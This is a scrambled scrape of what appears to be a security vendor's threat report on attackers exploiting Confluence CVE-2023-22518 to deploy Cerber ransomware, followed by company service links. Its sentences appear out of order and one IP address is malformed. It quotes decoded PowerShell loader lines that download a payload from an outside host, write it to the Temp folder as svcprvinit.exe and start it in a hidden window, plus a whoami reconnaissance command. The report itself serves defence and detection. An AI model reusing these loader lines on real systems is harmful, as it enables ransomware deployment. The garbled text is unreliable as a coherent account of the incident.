![]() ![]() ![]() Tmp.48.txt was saved on disk at the path C:\Windows\Temp\svcprvinit.exe. The last line of the file calls the Download_Execute function, specifying it to reach out to the IP address 193.176.17941 and download tmp.48.txt and extract the Cerber ransomware file from it.The script downloads a Cerber ransomware executable, saves it to the Temp folder under the name svcprvinit.exe, and runs the process with the command-line arguments -b 9 without displaying a window.If not, the script uses an Internet Explorer Component Object Model (COM) object to download the script. If so, the script will use that web client to download the specified file. The script checks to see whether the specified proxy server should be used by the Confluence server.NET WebClient object that sets the HTTP User-Agent string to mimic Mozilla 4.0 and configures proxy settings. The script defines a function named Download_Execute that initializes a.Start-Process -FilePath "$env:temp\svcPrvinit.exe" -WindowStyle Hidden -ArgumentList $args ![]() ::WriteAllBytes("$env:temp\svcPrvinit.exe", $temp) $webClient = New-Object -ComObject InternetExplorer.Application $hexformat = $webClient.DownloadString($URL) The adversary then executed encoded PowerShell commands, which you can see decoded below: zip archive file may be able to upload a web shell that could allow for arbitrary remote code execution on the system in addition to wiping data from a Confluence instance (as Atlassian initially reported).Īfter gaining initial access, the adversary ran the reconnaissance command: cmd /c whoami. Atlassian stated in its security advisory that there is “…no impact to confidentiality as an attacker cannot exfiltrate any instance data.” However, an adversary that uploads a specially crafted. If successfully exploited, CVE-2023-22518 could enable an adversary to upload arbitrary content to Confluence instances without authentication using a “restore from backup archive” function. Red Canary recommends following Atlassian’s guidance to update on-premise instances of Confluence to one of the listed versions: zip file containing a web shell to achieve remote code execution (RCE) on vulnerable, on-premise Confluence servers. Alternatively, adversaries may also submit a. Adversaries can exploit the vulnerability to destroy Confluence instances, leading to data loss. We’ve decided to publish our own observations and detection guidance to help the community better defend against this threat.ĬVE-2023-22518 is an improper authorization vulnerability within Confluence Data Center and Confluence Server that allows unauthenticated users to perform a “restore from backup” by submitting their own arbitrary. The activity we observed is similar to intrusions previously reported by The DFIR Report and Rapid7. On November 5, 2023, Red Canary detected suspected exploitation of Atlassian Confluence CVE-2023-22518 that led to an attempt to deploy Cerber ransomware. Minimize downtime with after-hours support.Train continuously for real world situations.Operationalize your Microsoft security stack.Protect critical production Linux and Kubernetes.Protect your users’ email, identities, and SaaS apps.Protect your corporate endpoints and network.Deliver enterprise security across your IT environment. ![]()
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